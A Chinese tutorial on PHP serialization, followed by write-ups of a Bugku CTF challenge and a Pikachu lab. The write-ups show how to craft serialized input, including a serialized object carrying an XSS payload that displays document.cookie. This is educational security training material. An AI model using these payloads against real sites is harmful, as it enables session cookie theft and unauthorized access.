本地编写简单代码测试

无类情况

1、无类情况下,代码的序列化测试

1
2
3
4
<?php
$key='dralin';
echo serialize($key);
?>

运行结果:
图一
s:6:”dralin”;
s:字符串;6:字符串长度;dralin:字符串内容。
2、无类情况下,代码的反序列化测试

1
2
3
4
<?php
$key='s:6:"dralin";';
echo unserialize($key);
?>

运行结果:
图二
还原成原本的字符串。
(1)、无类情况下较为简单,就是简单的转化。
(2)、以上两个实例可以简单区分序列化(将对象转为字符串)与反序列化(将字符串还原成对象)。

有类情况

前言:有类情况下较上述情况复杂,因为有类的话会在程序执行的特定时间点,会自动调用魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class ABC{ //定义了一个类
public $test;
function __construct(){ //在创建对象(new)时自动调用
$test = 1;
echo '调用了构造函数<br>';
}
function __destruct(){ //在执行serialize()和程序彻底结束的时候调用
echo '调用了析构函数<br>';
}
function __wakeup(){ //调用unserialize()自动调用
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要被销毁了!';
?>

运行结果:
图三
这里调用析构函数时并不是在调用serialize()后立刻执行,而是在所有语句执行完后在执行。如果序列化那段代码放到反序列化那段代码后,即:

1
2
3
4
5
6
$a = new ABC;
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要被销毁了!';
echo '序列化<br>';
$a_ser=serialize($a);

那么就会只执行一次(因为本身就在最后)。

ctf真题bugku

题目:点login咋没反应
开启环境后,进来发现只有一个平平无奇的登录框。
图四
查看源码,发现有一个css文件可以访问
图五
访问后,发现就是一个普通的css样式,我刚开始看的时候还是没有发现什么问题,但是,细看上面有一个?4495,这是什么呢?
图六
突然想起和网址栏上的属性与属性值,好像可以把这串东西填入,填入哪里呢?不久两个地方可以填吗,一个是这个css文件,另一个就是刚才的源码网址。
先试一下源码网址填入/?4495
http://114.67.175.224:13957/?4495
发现跳转到一个界面。
图七
关键来了,这里有几个注意点:
1、$KEY值给出,那么下面必然会用到。
2、flag.php被包含了进来,那么猜测flag可能存在于这个文件,我该思考如何把里面的内容读出。
3、以cookie方式传输值,且属性是”BUGKU”(cookie传值时,写成BUGKU=****)。
4、如果get请求包含4495,那么就会自动跳回此原来界面,而不会执行else if的语句打印flag。
5、else if内存在一个反序列化的函数,那么思路就是编程把$KEY的值序列化,然后通过cookie传输则可获取flag。
按照如上思路,先获取序列化的$KEY

1
2
3
4
<?php
$key='ctf.bugku.com';
echo serialize($key);
?>

抓包,添加cookie,且get请求内的4495要去掉
图八
把获取到的flag提交即可。

有类情况下的靶场练习(pikachu)

上面两道题都是无类情况,该情况构造序列化payload的代码相对简单,接下来是学习有类情况下如何构造payload。
由于是本地靶场,那么我可以先查看源码。
图九
发现存在一个class类,而且存在一个创建对象会触发的魔术方法,那么可以考虑利用,但是发现就算利用的上也没啥大用,总不能改别人代码吧。此路不通,那么往下看,发现一个判断,意思是如果是接收的是序列化的值,那么会转为对象并赋值给unser;如果不是序列化的值,没用。
而且,它的打印输出语句不是echo,那么就要考虑写js语句(觉得应该是如果简单输出字符串,那么就对获取信息没啥用,所以考虑可获取cookie的js语句)。
构造payload(编程,目的是把payload序列化):

1
2
3
4
5
6
7
8
9
<?php 
class S{ //创建一个类
var $test="pikachu";//赋初值
}
$whoami=new S();//创建一个对象
$payload="<script>alert(document.cookie)</script>";//构造payload,获取cookie
$whoami->test=$payload;//传输payload
echo serialize($whoami);//输出序列化的内容
?>

关于上述代码的注意点:
如果对方有类,那么你构造的代码必须也含有类(类名也要相同),然后创建一个对象传输你要传输的数据(我称之为一一对应)。
运行后,获取到序列化的payload:

1
O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}

图十
把这句payload放入文本框,并submit,成功弹出cookie信息。
图十一